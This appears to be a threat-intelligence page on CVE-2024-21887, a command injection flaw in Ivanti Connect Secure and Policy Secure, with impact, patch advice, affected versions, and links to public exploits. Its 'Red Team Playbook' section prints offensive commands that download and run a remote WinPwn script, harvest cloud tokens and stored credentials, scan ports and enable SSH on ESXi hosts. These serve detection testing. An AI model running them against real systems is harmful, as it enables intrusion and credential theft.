CVE-2024-21887
Overview
This vulnerability is a command injection flaw located in the web components of Ivanti Connect Secure and Ivanti Policy Secure appliances. The root cause is insufficient input validation in an API endpoint that processes administrator-supplied parameters, allowing crafted input to be executed as operating system commands. The affected feature is the API handling user backup code requests, specifically within the license keys status path.
Vulnerability Description
A command injection vulnerability in web components of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) allows an authenticated administrator to send specially crafted requests and execute arbitrary commands on the appliance.
Impact
An attacker with authenticated administrator access can execute arbitrary operating system commands on the Ivanti appliance. This capability enables full system compromise, including unauthorized control over appliance functions and potential lateral movement within the network. The prerequisite is valid administrator credentials, which may be obtained through credential theft or other means. Successful exploitation can lead to data exposure, service disruption, and compromise of the security infrastructure managed by the appliance.
Solution
Ivanti has released patches addressing this command injection vulnerability in Ivanti Connect Secure and Ivanti Policy Secure versions 9.1.r11.3 and later. Administrators should apply the vendor-provided updates as detailed in the Ivanti security advisory available at https://forums.ivanti.com/s/article/CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways. No specific workarounds are provided; prompt patching is recommended to mitigate exploitation risk.
EPSS vs KEV Prediction — Evolution (30 days)
Ransomware Intelligence
Confirmed Groups
| Group | Victims | Source |
|---|---|---|
|
0apt
|
— | ransomware.live |
Predictions
Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.
The groups below are predictions based on historical exploitation patterns of the same vendor/product. These are not confirmations.
Full Analysis
The command injection vulnerability present in the web components of Ivanti Connect Secure and Ivanti Policy Secure products allows an authenticated administrator to execute arbitrary commands on the appliance. This flaw arises from insufficient input validation, enabling attackers to craft malicious requests that can manipulate the underlying command execution environment. Specifically, the vulnerability permits the injection of system commands through web interfaces, which, when processed by the server, can lead to unauthorized actions being performed at the system level. This type of vulnerability is particularly dangerous as it can be exploited by individuals who already possess administrative access, thereby bypassing many traditional security measures designed to protect against external threats.
Attack vectors for this vulnerability are primarily through the web interface of the affected products. An attacker with administrative credentials can leverage this flaw by sending specially crafted requests that include malicious payloads. For instance, an attacker could manipulate parameters in a web form or API request to inject commands that the server would execute. This could lead to a variety of malicious outcomes, such as data exfiltration, unauthorized access to sensitive information, or even complete system compromise. The ability to execute arbitrary commands means that an attacker could install backdoors, alter configurations, or disrupt services, making this vulnerability a potent tool for malicious actors.
The real-world impact of this vulnerability is significant, particularly for organizations that rely on Ivanti's solutions for secure access and policy enforcement. The potential for data breaches and system compromises poses a considerable business risk, especially in industries that handle sensitive information, such as finance, healthcare, and government. The exploitation of this vulnerability could lead to severe reputational damage, regulatory penalties, and financial losses. Furthermore, the high CVSS score of 9.1 indicates that the vulnerability is critical and should be prioritized for remediation. Organizations may also face the risk of operational disruptions if systems are compromised or taken offline for incident response and recovery efforts.
Detection and mitigation strategies for this vulnerability should focus on both proactive and reactive measures. Organizations should implement robust logging and monitoring solutions to detect unusual activity within their Ivanti products, particularly any unauthorized command execution attempts. Regular security assessments, including penetration testing and vulnerability scanning, can help identify and remediate such vulnerabilities before they can be exploited. Additionally, organizations should ensure that they are running the latest versions of the affected products, as vendors typically release patches to address known vulnerabilities. Implementing the principle of least privilege can also reduce the risk by limiting administrative access to only those individuals who absolutely need it, thereby minimizing the potential attack surface.
In conclusion, the command injection vulnerability in Ivanti Connect Secure and Ivanti Policy Secure products represents a serious threat to organizations that utilize these solutions. The ability for an authenticated administrator to execute arbitrary commands can lead to devastating consequences if exploited. Organizations must take immediate action to assess their exposure, implement detection mechanisms, and apply necessary patches to mitigate the risks associated with this vulnerability. By adopting a comprehensive security posture that includes proactive monitoring, regular updates, and strict access controls, organizations can better protect themselves against potential exploitation and safeguard their critical assets.
CSURFACE threat intelligence has detected a slight increase in exploitation attempts targeting CVE-2024-21887, reflecting a modest upward trend in attacker activity. This change is accompanied by the continued availability of multiple new proof-of-concept exploits on public repositories, which lowers the barrier for adversaries to weaponize this vulnerability. Notably, ransomware groups linked to this vulnerability remain active, reinforcing the risk of its use in targeted ransomware campaigns. Although the overall exploit activity remains stable without rapid escalation, the combination of increased detection signals and expanding exploit resources sustains the critical threat posture. Defenders should recognize that the vulnerability continues to be actively leveraged in the wild, maintaining a high likelihood of compromise if unmitigated.
Update 2 — July 07, 2026
CSURFACE threat intelligence has identified a notable surge in detection activity related to CVE-2024-21887, indicating increased exploitation attempts targeting Ivanti Connect Secure and Ivanti Policy Secure appliances. This escalation is underscored by the proliferation of new proof-of-concept exploits and auxiliary tools on public repositories, which continue to lower the technical barriers for adversaries. The persistence of ransomware groups associated with this vulnerability further amplifies the operational risk, as these actors are likely to integrate the exploit into their attack chains. Although the overall exploit trend remains stable without rapid acceleration, the marked increase in telemetry signals suggests heightened adversary interest and potential expansion of attack campaigns. For defenders, this evolving landscape signifies a sustained and possibly intensifying threat environment, reinforcing the criticality of timely detection and response capabilities. Consequently, the risk level remains elevated, with a growing likelihood of compromise if mitigations are not rigorously applied.
Affected Products (81)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:*:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.1 |
cpe:2.3:a:ivanti:connect_secure:9.1:r1:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.1 |
cpe:2.3:a:ivanti:connect_secure:9.1:r10:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.1 |
cpe:2.3:a:ivanti:connect_secure:9.1:r11:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.1 |
cpe:2.3:a:ivanti:connect_secure:9.1:r11.3:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.1 |
cpe:2.3:a:ivanti:connect_secure:9.1:r11.4:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.1 |
cpe:2.3:a:ivanti:connect_secure:9.1:r11.5:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.1 |
cpe:2.3:a:ivanti:connect_secure:9.1:r12:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.1 |
cpe:2.3:a:ivanti:connect_secure:9.1:r12.1:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.1 |
cpe:2.3:a:ivanti:connect_secure:9.1:r13:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.1 |
cpe:2.3:a:ivanti:connect_secure:9.1:r13.1:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.1 |
cpe:2.3:a:ivanti:connect_secure:9.1:r14:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.1 |
cpe:2.3:a:ivanti:connect_secure:9.1:r15:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.1 |
cpe:2.3:a:ivanti:connect_secure:9.1:r15.2:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.1 |
cpe:2.3:a:ivanti:connect_secure:9.1:r16:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.1 |
cpe:2.3:a:ivanti:connect_secure:9.1:r16.1:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.1 |
cpe:2.3:a:ivanti:connect_secure:9.1:r17:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.1 |
cpe:2.3:a:ivanti:connect_secure:9.1:r17.1:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.1 |
cpe:2.3:a:ivanti:connect_secure:9.1:r18:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.1 |
cpe:2.3:a:ivanti:connect_secure:9.1:r2:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (2)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
Ivanti Connect Secure Unauthenticated Remote Code Execution
exploits/linux/http/ivanti_connect_secure_rce_cve_2024_21893
|
sfewer-r7 | Unknown | - | View |
|
Ivanti Connect Secure Unauthenticated Remote Code Execution
exploits/linux/http/ivanti_connect_secure_rce_cve_2023_46805
|
sfewer-r7 | Unknown | - | View |
GitHub PoCs (8)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Chocapikk/CVE-2024-21887
A command injection vulnerability in web components of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, ...
|
Chocapikk | 58 | 13 | 2024-01-16 | View |
|
duy-31/CVE-2023-46805_CVE-2024-21887
An authentication bypass vulnerability in the web component of Ivanti ICS 9.x, 22.x and Ivanti Policy Secure allows a re...
|
duy-31 | 23 | 4 | 2024-01-16 | View |
|
seajaysec/Ivanti-Connect-Around-Scan
Mitigation validation utility for the Ivanti Connect Around attack chain. Runs multiple checks. CVE-2023-46805, CVE-2024...
|
seajaysec | 12 | 3 | 2024-01-19 | View |
|
oways/ivanti-CVE-2024-21887
POC Checker for ivanti CVE-2024-21887 Command injcetion
|
oways | 7 | 1 | 2024-01-14 | View |
|
raminkarimkhani1996/CVE-2023-46805_CVE-2024-21887
The script in this repository only checks whether the vulnerabilities specified in the Ivanti Connect Secure product exi...
|
raminkarimkhani1996 | 5 | 1 | 2024-01-18 | View |
|
Hexastrike/Ivanti-Connect-Secure-Logs-Parser
A Python script for examining Ivanti Secure Connect (ICS) event logs, designed to support investigations into vulnerabil...
|
Hexastrike | 5 | 1 | 2025-01-19 | View |
|
rxwx/pulse-meter
Parses the System Snapshot from an Ivanti Connect Secure applicance to identify possible IOCs related to CVE-2023-46805,...
|
rxwx | 1 | 1 | 2025-01-14 | View |
|
pwniel/ivanti_shell
CVE-2024-21887 Exploitation with Ngrok Reverse Shell
|
pwniel | 0 | 0 | 2024-02-24 | View |
Ransomware Groups 1
Threat Feed
35 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-21887 |
| forums.ivanti.com |
GitHub CVE
|
https://forums.ivanti.com/s/article/CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US |
| packetstormsecurity.com |
GitHub CVE
|
http://packetstormsecurity.com/files/176668/Ivanti-Connect-Secure-Unauthenticated-Remote-Code-Execution.html |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-21887 |